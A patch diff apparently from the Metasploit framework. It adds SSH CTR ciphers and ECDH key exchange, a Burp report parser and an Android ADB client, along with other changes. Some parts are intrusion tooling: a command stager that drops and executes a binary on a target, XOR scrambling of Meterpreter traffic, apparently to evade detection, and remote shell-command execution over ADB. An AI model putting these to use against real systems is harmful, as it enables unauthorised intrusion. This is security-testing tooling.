require 'net/ssh/transport/identity_cipher'
|
||||
require 'net/ssh/transport/ctr.rb'
|
||||
|
||||
module Net; module SSH; module Transport
|
||||
|
||||
|
@ -13,6 +14,9 @@ module Net; module SSH; module Transport
|
|||
"aes256-cbc" => "aes-256-cbc",
|
||||
"aes192-cbc" => "aes-192-cbc",
|
||||
"aes128-cbc" => "aes-128-cbc",
|
||||
"aes128-ctr" => "aes-128-ecb",
|
||||
"aes192-ctr" => "aes-192-ecb",
|
||||
"aes256-ctr" => "aes-256-ecb",
|
||||
"idea-cbc" => "idea-cbc",
|
||||
"cast128-cbc" => "cast-cbc",
|
||||
"rijndael-cbc@lysator.liu.se" => "aes-256-cbc",
|
||||
|
@ -41,6 +45,8 @@ module Net; module SSH; module Transport
|
|||
cipher = OpenSSL::Cipher::Cipher.new(ossl_name)
|
||||
cipher.send(options[:encrypt] ? :encrypt : :decrypt)
|
||||
|
||||
cipher.extend(Net::SSH::Transport::CTR) if (name =~ /-ctr$/)
|
||||
|
||||
cipher.padding = 0
|
||||
cipher.iv = make_key(cipher.iv_len, options[:iv], options) if ossl_name != "rc4"
|
||||
cipher.key_len = 32 if name == "arcfour256"
|
||||
|
|
|
@ -27,5 +27,7 @@ module Net; module SSH; module Transport
|
|||
KEXDH_INIT = 30
|
||||
KEXDH_REPLY = 31
|
||||
|
||||
KEXECDH_INIT = 30
|
||||
KEXECDH_REPLY = 31
|
||||
end
|
||||
end; end; end
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'openssl'
|
||||
|
||||
module Net::SSH::Transport
|
||||
|
||||
# Pure-Ruby implementation of Stateful Decryption Counter(SDCTR) Mode
|
||||
# for Block Ciphers. See RFC4344 for detail.
|
||||
module CTR
|
||||
def self.extended(orig)
|
||||
orig.instance_eval {
|
||||
@remaining = ""
|
||||
@counter = nil
|
||||
@counter_len = orig.block_size
|
||||
orig.encrypt
|
||||
orig.padding = 0
|
||||
}
|
||||
|
||||
class <<orig
|
||||
alias :_update :update
|
||||
private :_update
|
||||
undef :update
|
||||
|
||||
def iv
|
||||
@counter
|
||||
end
|
||||
|
||||
def iv_len
|
||||
block_size
|
||||
end
|
||||
|
||||
def iv=(iv_s)
|
||||
@counter = iv_s if @counter.nil?
|
||||
end
|
||||
|
||||
def encrypt
|
||||
# DO NOTHING (always set to "encrypt")
|
||||
end
|
||||
|
||||
def decrypt
|
||||
# DO NOTHING (always set to "decrypt")
|
||||
end
|
||||
|
||||
def padding=(pad)
|
||||
# DO NOTHING (always 0)
|
||||
end
|
||||
|
||||
def reset
|
||||
@remaining = ""
|
||||
end
|
||||
|
||||
def update(data)
|
||||
@remaining += data
|
||||
|
||||
encrypted = ""
|
||||
|
||||
while @remaining.bytesize >= block_size
|
||||
encrypted += xor!(@remaining.slice!(0, block_size),
|
||||
_update(@counter))
|
||||
increment_counter!
|
||||
end
|
||||
|
||||
encrypted
|
||||
end
|
||||
|
||||
def final
|
||||
unless @remaining.empty?
|
||||
s = xor!(@remaining, _update(@counter))
|
||||
else
|
||||
s = ""
|
||||
end
|
||||
|
||||
@remaining = ""
|
||||
|
||||
s
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def xor!(s1, s2)
|
||||
s = []
|
||||
s1.unpack('Q*').zip(s2.unpack('Q*')) {|a,b| s.push(a^b) }
|
||||
s.pack('Q*')
|
||||
end
|
||||
|
||||
def increment_counter!
|
||||
c = @counter_len
|
||||
while ((c -= 1) > 0)
|
||||
if @counter.setbyte(c, (@counter.getbyte(c) + 1) & 0xff) != 0
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
|
||||
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
|
||||
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha256'
|
||||
|
||||
module Net::SSH::Transport
|
||||
module Kex
|
||||
|
@ -10,5 +11,18 @@ module Net::SSH::Transport
|
|||
'diffie-hellman-group-exchange-sha1' => DiffieHellmanGroupExchangeSHA1,
|
||||
'diffie-hellman-group1-sha1' => DiffieHellmanGroup1SHA1
|
||||
}
|
||||
if defined?(OpenSSL::PKey::EC)
|
||||
require 'net/ssh/transport/kex/ecdh_sha2_nistp256'
|
||||
require 'net/ssh/transport/kex/ecdh_sha2_nistp384'
|
||||
require 'net/ssh/transport/kex/ecdh_sha2_nistp521'
|
||||
|
||||
MAP['ecdh-sha2-nistp256'] = EcdhSHA2NistP256
|
||||
MAP['ecdh-sha2-nistp384'] = EcdhSHA2NistP384
|
||||
MAP['ecdh-sha2-nistp521'] = EcdhSHA2NistP521
|
||||
end
|
||||
|
||||
if defined?(DiffieHellmanGroupExchangeSHA256)
|
||||
MAP['diffie-hellman-group-exchange-sha256'] = DiffieHellmanGroupExchangeSHA256
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'net/ssh/transport/kex/diffie_hellman_group_exchange_sha1'
|
||||
|
||||
module Net::SSH::Transport::Kex
|
||||
if defined?(OpenSSL::Digest::SHA256)
|
||||
# A key-exchange service implementing the
|
||||
# "diffie-hellman-group-exchange-sha256" key-exchange algorithm.
|
||||
class DiffieHellmanGroupExchangeSHA256 < DiffieHellmanGroupExchangeSHA1
|
||||
def initialize(*args)
|
||||
super(*args)
|
||||
|
||||
@digester = OpenSSL::Digest::SHA256
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,94 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'net/ssh/transport/constants'
|
||||
require 'net/ssh/transport/kex/diffie_hellman_group1_sha1'
|
||||
|
||||
module Net; module SSH; module Transport; module Kex
|
||||
|
||||
# A key-exchange service implementing the "ecdh-sha2-nistp256"
|
||||
# key-exchange algorithm. (defined in RFC 5656)
|
||||
class EcdhSHA2NistP256 < DiffieHellmanGroup1SHA1
|
||||
include Constants, Loggable
|
||||
|
||||
attr_reader :ecdh
|
||||
|
||||
def digester
|
||||
OpenSSL::Digest::SHA256
|
||||
end
|
||||
|
||||
def curve_name
|
||||
OpenSSL::PKey::EC::CurveNameAlias['nistp256']
|
||||
end
|
||||
|
||||
def initialize(algorithms, connection, data)
|
||||
@algorithms = algorithms
|
||||
@connection = connection
|
||||
|
||||
@digester = digester
|
||||
@data = data.dup
|
||||
@ecdh = generate_key
|
||||
@logger = @data.delete(:logger)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def get_message_types
|
||||
[KEXECDH_INIT, KEXECDH_REPLY]
|
||||
end
|
||||
|
||||
def build_signature_buffer(result)
|
||||
response = Net::SSH::Buffer.new
|
||||
response.write_string data[:client_version_string],
|
||||
data[:server_version_string],
|
||||
data[:client_algorithm_packet],
|
||||
data[:server_algorithm_packet],
|
||||
result[:key_blob],
|
||||
ecdh.public_key.to_bn.to_s(2),
|
||||
result[:server_ecdh_pubkey]
|
||||
response.write_bignum result[:shared_secret]
|
||||
response
|
||||
end
|
||||
|
||||
def generate_key #:nodoc:
|
||||
OpenSSL::PKey::EC.new(curve_name).generate_key
|
||||
end
|
||||
|
||||
def send_kexinit #:nodoc:
|
||||
init, reply = get_message_types
|
||||
|
||||
# send the KEXECDH_INIT message
|
||||
## byte SSH_MSG_KEX_ECDH_INIT
|
||||
## string Q_C, client's ephemeral public key octet string
|
||||
buffer = Net::SSH::Buffer.from(:byte, init, :string, ecdh.public_key.to_bn.to_s(2))
|
||||
connection.send_message(buffer)
|
||||
|
||||
# expect the following KEXECDH_REPLY message
|
||||
## byte SSH_MSG_KEX_ECDH_REPLY
|
||||
## string K_S, server's public host key
|
||||
## string Q_S, server's ephemeral public key octet string
|
||||
## string the signature on the exchange hash
|
||||
buffer = connection.next_message
|
||||
raise Net::SSH::Exception, "expected REPLY" unless buffer.type == reply
|
||||
|
||||
result = Hash.new
|
||||
result[:key_blob] = buffer.read_string
|
||||
result[:server_key] = Net::SSH::Buffer.new(result[:key_blob]).read_key
|
||||
result[:server_ecdh_pubkey] = buffer.read_string
|
||||
|
||||
# compute shared secret from server's public key and client's private key
|
||||
pk = OpenSSL::PKey::EC::Point.new(OpenSSL::PKey::EC.new(curve_name).group,
|
||||
OpenSSL::BN.new(result[:server_ecdh_pubkey], 2))
|
||||
result[:shared_secret] = OpenSSL::BN.new(ecdh.dh_compute_key(pk), 2)
|
||||
|
||||
sig_buffer = Net::SSH::Buffer.new(buffer.read_string)
|
||||
sig_type = sig_buffer.read_string
|
||||
if sig_type != algorithms.host_key
|
||||
raise Net::SSH::Exception,
|
||||
"host key algorithm mismatch for signature " +
|
||||
"'#{sig_type}' != '#{algorithms.host_key}'"
|
||||
end
|
||||
result[:server_sig] = sig_buffer.read_string
|
||||
|
||||
return result
|
||||
end
|
||||
end
|
||||
end; end; end; end
|
|
@ -0,0 +1,14 @@
|
|||
# -*- coding: binary -*-
|
||||
module Net; module SSH; module Transport; module Kex
|
||||
|
||||
# A key-exchange service implementing the "ecdh-sha2-nistp384"
|
||||
# key-exchange algorithm. (defined in RFC 5656)
|
||||
class EcdhSHA2NistP384 < EcdhSHA2NistP256
|
||||
def digester
|
||||
OpenSSL::Digest::SHA384
|
||||
end
|
||||
def curve_name
|
||||
OpenSSL::PKey::EC::CurveNameAlias['nistp384']
|
||||
end
|
||||
end
|
||||
end; end; end; end
|
|
@ -0,0 +1,14 @@
|
|||
# -*- coding: binary -*-
|
||||
module Net; module SSH; module Transport; module Kex
|
||||
|
||||
# A key-exchange service implementing the "ecdh-sha2-nistp521"
|
||||
# key-exchange algorithm. (defined in RFC 5656)
|
||||
class EcdhSHA2NistP521 < EcdhSHA2NistP256
|
||||
def digester
|
||||
OpenSSL::Digest::SHA512
|
||||
end
|
||||
def curve_name
|
||||
OpenSSL::PKey::EC::CurveNameAlias['nistp521']
|
||||
end
|
||||
end
|
||||
end; end; end; end
|
|
@ -124,6 +124,19 @@ module OpenSSL
|
|||
end
|
||||
end
|
||||
|
||||
if defined?(OpenSSL::PKey::EC)
|
||||
# This class is originally defined in the OpenSSL module. As needed, methods
|
||||
# have been added to it by the Net::SSH module for convenience in dealing
|
||||
# with SSH funcationality.
|
||||
class EC
|
||||
CurveNameAlias = {
|
||||
"nistp256" => "prime256v1",
|
||||
"nistp384" => "secp384r1",
|
||||
"nistp521" => "secp521r1",
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -35,7 +35,7 @@ class CmdStagerEcho < CmdStagerBase
|
|||
end
|
||||
|
||||
# by default use the 'hex' encoding
|
||||
opts[:enc_format] = opts[:enc_format] || 'hex'
|
||||
opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s
|
||||
|
||||
unless ENCODINGS.keys.include?(opts[:enc_format])
|
||||
raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}"
|
||||
|
@ -58,7 +58,7 @@ class CmdStagerEcho < CmdStagerBase
|
|||
xtra_len = @cmd_start.length + @cmd_end.length
|
||||
opts.merge!({ :extra => xtra_len })
|
||||
|
||||
@prefix = ENCODINGS[opts[:enc_format]]
|
||||
@prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]]
|
||||
min_part_size = 5 # for both encodings
|
||||
|
||||
if (opts[:linemax] - opts[:extra]) < min_part_size
|
||||
|
@ -108,7 +108,7 @@ class CmdStagerEcho < CmdStagerBase
|
|||
# Make it all happen
|
||||
cmds << "chmod 777 #{@tempdir}#{@var_elf}"
|
||||
#cmds << "chmod +x #{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}"
|
||||
cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
|
||||
|
||||
# Clean up after unless requested not to..
|
||||
unless opts[:nodelete]
|
||||
|
|
|
@ -59,6 +59,8 @@ module Rex
|
|||
@text = nil
|
||||
when "StartURL" # Populates @state[:starturl_uri], we use this a lot
|
||||
@state[:has_text] = false
|
||||
# StartURL does not always include the scheme
|
||||
@text.prepend("http://") unless URI.parse(@text).scheme
|
||||
collect_host
|
||||
collect_service
|
||||
@text = nil
|
||||
|
|
|
@ -0,0 +1,139 @@
|
|||
# -*- coding: binary -*-
|
||||
require "rex/parser/nokogiri_doc_mixin"
|
||||
require 'uri'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# If Nokogiri is available, define Burp Issue document class.
|
||||
load_nokogiri && class BurpIssueDocument < Nokogiri::XML::SAX::Document
|
||||
|
||||
include NokogiriDocMixin
|
||||
|
||||
def start_element(name=nil,attrs=[])
|
||||
attrs = normalize_attrs(attrs)
|
||||
block = @block
|
||||
@state[:current_tag][name] = true
|
||||
case name
|
||||
when "host", "name", "info", "issueDetail", "references"
|
||||
@state[:has_text] = true
|
||||
end
|
||||
end
|
||||
|
||||
def end_element(name=nil)
|
||||
block = @block
|
||||
case name
|
||||
when "issue"
|
||||
report_web_host_info
|
||||
report_web_service_info
|
||||
report_vuln
|
||||
# Reset the state once we close a host
|
||||
@state = @state.select {|k| [:current_tag].include? k}
|
||||
when "host"
|
||||
@state[:has_text] = false
|
||||
collect_host_info
|
||||
@text = nil
|
||||
when "name"
|
||||
@state[:has_text] = false
|
||||
collect_name
|
||||
@text = nil
|
||||
when "issueDetail"
|
||||
@state[:has_text] = false
|
||||
collect_issue_detail
|
||||
@text = nil
|
||||
when "references"
|
||||
@state[:has_text] = false
|
||||
collect_references
|
||||
@text = nil
|
||||
end
|
||||
@state[:current_tag].delete name
|
||||
end
|
||||
|
||||
def collect_host_info
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
uri = URI(@text)
|
||||
|
||||
@state[:host] = uri.host
|
||||
@state[:service_name] = uri.scheme
|
||||
@state[:proto] = "tcp"
|
||||
|
||||
case @state[:service_name]
|
||||
when "http"
|
||||
@state[:port] = 80
|
||||
when "https"
|
||||
@state[:port] = 443
|
||||
end
|
||||
end
|
||||
|
||||
def collect_name
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
@state[:vuln_name] = @text
|
||||
end
|
||||
|
||||
def collect_issue_detail
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
@state[:issue_detail] = @text
|
||||
end
|
||||
|
||||
def collect_references
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
uri = @text.match('href=[\'"]?([^\'" >]+)')[1]
|
||||
@state[:refs] = ["URI-#{uri}"]
|
||||
end
|
||||
|
||||
def report_web_host_info
|
||||
return unless @state[:host]
|
||||
address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil
|
||||
host_info = {:workspace => @args[:wspace]}
|
||||
host_info[:address] = address
|
||||
host_info[:name] = @state[:host]
|
||||
db_report(:host, host_info)
|
||||
end
|
||||
|
||||
def report_web_service_info
|
||||
return unless @state[:host]
|
||||
return unless @state[:port]
|
||||
return unless @state[:proto]
|
||||
return unless @state[:service_name]
|
||||
service_info = {}
|
||||
service_info[:host] = @state[:host]
|
||||
service_info[:port] = @state[:port]
|
||||
service_info[:proto] = @state[:proto]
|
||||
service_info[:name] = @state[:service_name]
|
||||
@state[:service_object] = db_report(:service, service_info)
|
||||
end
|
||||
|
||||
def report_vuln
|
||||
return unless @state[:service_object]
|
||||
return unless @state[:vuln_name]
|
||||
return unless @state[:issue_detail]
|
||||
return unless @state[:refs]
|
||||
vuln_info = {}
|
||||
vuln_info[:service_id] = @state[:service_object].id
|
||||
vuln_info[:host] = @state[:host]
|
||||
vuln_info[:name] = @state[:vuln_name]
|
||||
vuln_info[:info] = @state[:issue_detail]
|
||||
vuln_info[:refs] = @state[:refs]
|
||||
@state[:vuln_object] = db_report(:vuln, vuln_info)
|
||||
end
|
||||
|
||||
def in_issue
|
||||
return false unless in_tag("issue")
|
||||
return false unless in_tag("issues")
|
||||
return true
|
||||
end
|
||||
|
||||
def has_text
|
||||
return false unless @text
|
||||
return false if @text.strip.empty?
|
||||
@text = @text.strip
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -157,7 +157,7 @@ module Rex
|
|||
host_info = {:workspace => @args[:wspace]}
|
||||
host_info[:address] = @state[:web_site].service.host.address
|
||||
host_info[:name] = @state[:uri].host
|
||||
report_db(:host, host_info)
|
||||
db_report(:host, host_info)
|
||||
end
|
||||
|
||||
def report_web_service_info
|
||||
|
|
|
@ -49,14 +49,7 @@ class Ini < Hash
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Enumerates the groups hash keys.
|
||||
#
|
||||
def each_group(&block)
|
||||
self.keys.each { |k|
|
||||
yield
|
||||
}
|
||||
end
|
||||
alias each_group each_key
|
||||
|
||||
#
|
||||
# Adds a group of the supplied name if it doesn't already exist.
|
||||
|
|
|
@ -200,6 +200,11 @@ module Parser
|
|||
return attr_pairs
|
||||
end
|
||||
|
||||
# Removes HTML from a string
|
||||
def strip_html_tags(text)
|
||||
return text.gsub!(/(<[^>]*>)|\n|\t/s) {" "}
|
||||
end
|
||||
|
||||
# This breaks xml-encoded characters, so need to append.
|
||||
# It's on the end_element tag name to turn the appending
|
||||
# off and clear out the data.
|
||||
|
|
|
@ -665,6 +665,44 @@ class Packet < GroupTlv
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Override the function that creates the raw byte stream for
|
||||
# sending so that it generates an XOR key, uses it to scramble
|
||||
# the serialized TLV content, and then returns the key plus the
|
||||
# scrambled data as the payload.
|
||||
#
|
||||
def to_r
|
||||
raw = super
|
||||
xor_key = rand(254) + 1
|
||||
xor_key |= (rand(254) + 1) << 8
|
||||
xor_key |= (rand(254) + 1) << 16
|
||||
xor_key |= (rand(254) + 1) << 24
|
||||
result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Override the function that reads from a raw byte stream so
|
||||
# that the XORing of data is included in the process prior to
|
||||
# passing it on to the default functionality that can parse
|
||||
# the TLV values.
|
||||
#
|
||||
def from_r(bytes)
|
||||
xor_key = bytes[0,4].unpack('N')[0]
|
||||
super(xor_bytes(xor_key, bytes[4, bytes.length]))
|
||||
end
|
||||
|
||||
#
|
||||
# Xor a set of bytes with a given DWORD xor key.
|
||||
#
|
||||
def xor_bytes(xor_key, bytes)
|
||||
result = ''
|
||||
bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
|
||||
result << (b[0].ord ^ b[1].ord).chr
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Conditionals
|
||||
|
|
|
@ -117,8 +117,7 @@ module PacketDispatcher
|
|||
|
||||
self.last_checkin = Time.now
|
||||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
if req.method == 'GET'
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
|
@ -176,6 +175,7 @@ module PacketDispatcher
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
if bytes.to_i == 0
|
||||
# Mark the session itself as dead
|
||||
self.alive = false
|
||||
|
|
|
@ -12,6 +12,11 @@ module Meterpreter
|
|||
###
|
||||
class PacketParser
|
||||
|
||||
# 4 byte xor
|
||||
# 4 byte length
|
||||
# 4 byte type
|
||||
HEADER_SIZE = 12
|
||||
|
||||
#
|
||||
# Initializes the packet parser context with an optional cipher.
|
||||
#
|
||||
|
@ -26,7 +31,7 @@ class PacketParser
|
|||
#
|
||||
def reset
|
||||
self.raw = ''
|
||||
self.hdr_length_left = 8
|
||||
self.hdr_length_left = HEADER_SIZE
|
||||
self.payload_length_left = 0
|
||||
end
|
||||
|
||||
|
@ -34,6 +39,9 @@ class PacketParser
|
|||
# Reads data from the wire and parse as much of the packet as possible.
|
||||
#
|
||||
def recv(sock)
|
||||
# Create a typeless packet
|
||||
packet = Packet.new(0)
|
||||
|
||||
if (self.hdr_length_left > 0)
|
||||
buf = sock.read(self.hdr_length_left)
|
||||
|
||||
|
@ -49,7 +57,10 @@ class PacketParser
|
|||
# payload length left to the number of bytes
|
||||
# specified in the length
|
||||
if (self.hdr_length_left == 0)
|
||||
self.payload_length_left = raw.unpack("N")[0] - 8
|
||||
xor_key = raw[0, 4].unpack('N')[0]
|
||||
length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
|
||||
# header size doesn't include the xor key, which is always tacked on the front
|
||||
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
|
||||
end
|
||||
elsif (self.payload_length_left > 0)
|
||||
buf = sock.read(self.payload_length_left)
|
||||
|
@ -67,14 +78,11 @@ class PacketParser
|
|||
if ((self.hdr_length_left == 0) &&
|
||||
(self.payload_length_left == 0))
|
||||
|
||||
# Create a typeless packet
|
||||
packet = Packet.new(0)
|
||||
|
||||
# TODO: cipher decryption
|
||||
if (cipher)
|
||||
end
|
||||
|
||||
# Serialize the packet from the raw buffer
|
||||
# Deserialize the packet from the raw buffer
|
||||
packet.from_r(self.raw)
|
||||
|
||||
# Reset our state
|
||||
|
|
|
@ -52,6 +52,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
'cat' => 'Read the contents of a file to the screen',
|
||||
'cd' => 'Change directory',
|
||||
'del' => 'Delete the specified file',
|
||||
'dir' => 'List files (alias for ls)',
|
||||
'download' => 'Download a file or directory',
|
||||
'edit' => 'Edit a file',
|
||||
'getlwd' => 'Print local working directory',
|
||||
|
@ -73,6 +74,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
'cat' => [],
|
||||
'cd' => ['stdapi_fs_chdir'],
|
||||
'del' => ['stdapi_fs_rm'],
|
||||
'dir' => ['stdapi_fs_stat', 'stdapi_fs_ls'],
|
||||
'download' => [],
|
||||
'edit' => [],
|
||||
'getlwd' => [],
|
||||
|
@ -598,6 +600,12 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Alias the ls command to dir, for those of us who have windows muscle-memory
|
||||
#
|
||||
alias cmd_dir cmd_ls
|
||||
|
||||
|
||||
#
|
||||
# Make one or more directory.
|
||||
#
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
# Support for the ADB android debugging protocol
|
||||
#
|
||||
|
||||
require 'rex/proto/adb/client'
|
||||
require 'rex/proto/adb/message'
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# ADB protocol support
|
||||
##
|
||||
|
||||
require 'rex/proto/adb/message'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module ADB
|
||||
|
||||
class Client
|
||||
|
||||
def initialize(sock, opts = {})
|
||||
@sock = sock
|
||||
@opts = opts
|
||||
@local_id_counter = 0x0a
|
||||
end
|
||||
|
||||
def connect
|
||||
ADB::Message::Connect.new.send_recv(@sock)
|
||||
end
|
||||
|
||||
def exec_cmd(cmd)
|
||||
local_id = @local_id_counter += 1
|
||||
response = ADB::Message::Open.new(local_id, "shell:"+cmd).send_recv(@sock)
|
||||
ADB::Message::Close.new(local_id, response.arg0).send_recv(@sock)
|
||||
end
|
||||
|
||||
def read_message
|
||||
ADB::Message.read(@sock)
|
||||
end
|
||||
|
||||
end # Client
|
||||
|
||||
end # ADB
|
||||
end # Proto
|
||||
end # Rex
|
|
@ -0,0 +1,164 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# ADB protocol support
|
||||
##
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module ADB
|
||||
|
||||
# A Message for the ADB protocol. For documentation see:
|
||||
# https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt
|
||||
class Message
|
||||
|
||||
WORD_WIDTH = 4 # bytes
|
||||
WORD_PACK = 'L<'
|
||||
|
||||
attr_accessor :command
|
||||
attr_accessor :arg0
|
||||
attr_accessor :arg1
|
||||
attr_accessor :data
|
||||
|
||||
def initialize(arg0, arg1, data)
|
||||
self.command = self.class::COMMAND if defined?(self.class::COMMAND)
|
||||
self.arg0 = arg0
|
||||
self.arg1 = arg1
|
||||
self.data = data + "\0"
|
||||
end
|
||||
|
||||
def data_check
|
||||
# this check is implemented in adb/transport.cpp, in the send_packet method.
|
||||
# it is not crc32 as the docs make it appear, it is just a 32bit sum.
|
||||
data.bytes.inject(&:+) & 0xffffffff
|
||||
end
|
||||
|
||||
def magic
|
||||
command_word ^ 0xffffffff
|
||||
end
|
||||
|
||||
def command_word
|
||||
command.unpack(WORD_PACK)[0]
|
||||
end
|
||||
|
||||
def send_recv(socket)
|
||||
socket.print self.serialize
|
||||
Message.read socket
|
||||
end
|
||||
|
||||
def serialize
|
||||
[
|
||||
command_word,
|
||||
arg0,
|
||||
arg1,
|
||||
data.bytes.length,
|
||||
data_check,
|
||||
magic
|
||||
].pack(WORD_PACK+'*') + data
|
||||
end
|
||||
|
||||
def to_s
|
||||
[
|
||||
"command=#{command}",
|
||||
"arg0=0x#{arg0.to_s(16)}",
|
||||
"arg1=0x#{arg1.to_s(16)}",
|
||||
"data=#{data}"
|
||||
].join("\n")
|
||||
end
|
||||
|
||||
def self.read(socket)
|
||||
header = socket.recvfrom(6 * WORD_WIDTH)[0]
|
||||
command = header[0, WORD_WIDTH]
|
||||
arg0 = header[WORD_WIDTH, WORD_WIDTH].unpack(WORD_PACK)[0]
|
||||
arg1 = header[WORD_WIDTH*2, WORD_WIDTH].unpack(WORD_PACK)[0]
|
||||
payload_len = header[WORD_WIDTH*3, WORD_WIDTH].unpack(WORD_PACK)[0]
|
||||
payload = socket.recvfrom(payload_len)[0]
|
||||
|
||||
klass = MESSAGE_TYPES.find { |klass| klass::COMMAND == command }
|
||||
if klass.nil?
|
||||
raise "Invalid adb command: #{command}"
|
||||
end
|
||||
|
||||
message = klass.allocate
|
||||
message.command = command
|
||||
message.arg0 = arg0
|
||||
message.arg1 = arg1
|
||||
message.data = payload
|
||||
message
|
||||
end
|
||||
|
||||
#
|
||||
# Subclasses inside Message:: namespace for specific message types
|
||||
#
|
||||
|
||||
class Connect < Message
|
||||
COMMAND = "CNXN"
|
||||
DEFAULT_VERSION = 0x01000000
|
||||
DEFAULT_MAXDATA = 4096
|
||||
DEFAULT_IDENTITY = "host::"
|
||||
|
||||
def initialize(version=DEFAULT_VERSION,
|
||||
maxdata=DEFAULT_MAXDATA,
|
||||
system_identity_string=DEFAULT_IDENTITY)
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
class Auth < Message
|
||||
COMMAND = "AUTH"
|
||||
TYPE_TOKEN = 1
|
||||
TYPE_SIGNATURE = 2
|
||||
|
||||
def initialize(type, data)
|
||||
super(type, 0, data)
|
||||
end
|
||||
end
|
||||
|
||||
class Open < Message
|
||||
COMMAND = "OPEN"
|
||||
|
||||
def initialize(local_id, destination)
|
||||
super(local_id, 0, destination)
|
||||
end
|
||||
end
|
||||
|
||||
class Ready < Message
|
||||
COMMAND = "OKAY"
|
||||
|
||||
def initialize(local_id, remote_id)
|
||||
super(local_id, remote_id, "")
|
||||
end
|
||||
end
|
||||
|
||||
class Write < Message
|
||||
COMMAND = "WRTE"
|
||||
|
||||
def initialize(local_id, remote_id, data)
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
class Close < Message
|
||||
COMMAND = "CLSE"
|
||||
|
||||
def initialize(local_id, remote_id)
|
||||
super(local_id, remote_id, "")
|
||||
end
|
||||
end
|
||||
|
||||
class Sync < Message
|
||||
COMMAND = "SYNC"
|
||||
|
||||
def initialize(online, sequence)
|
||||
super(online, sequence, "")
|
||||
end
|
||||
end
|
||||
|
||||
# Avoid a dependency on Rails's nice Class#subclasses
|
||||
MESSAGE_TYPES = [Connect, Auth, Open, Ready, Write, Close, Sync]
|
||||
|
||||
end # Message
|
||||
|
||||
end # ADB
|
||||
end # Proto
|
||||
end # Rex
|
|
@ -55,7 +55,7 @@ Gem::Specification.new do |spec|
|
|||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||
spec.add_runtime_dependency 'bcrypt'
|
||||
# Needed for Javascript obfuscation
|
||||
spec.add_runtime_dependency 'jsobfu', '~> 0.3.0'
|
||||
spec.add_runtime_dependency 'jsobfu', '~> 0.4.1'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasm compiler/decompiler/assembler
|
||||
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.21'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.24'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module will log into the Web API of VMWare and try to power off
|
||||
a specified Virtual Machine.},
|
||||
'Author' => ['theLightCosine'],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power Off"])
|
||||
], self.class)
|
||||
|
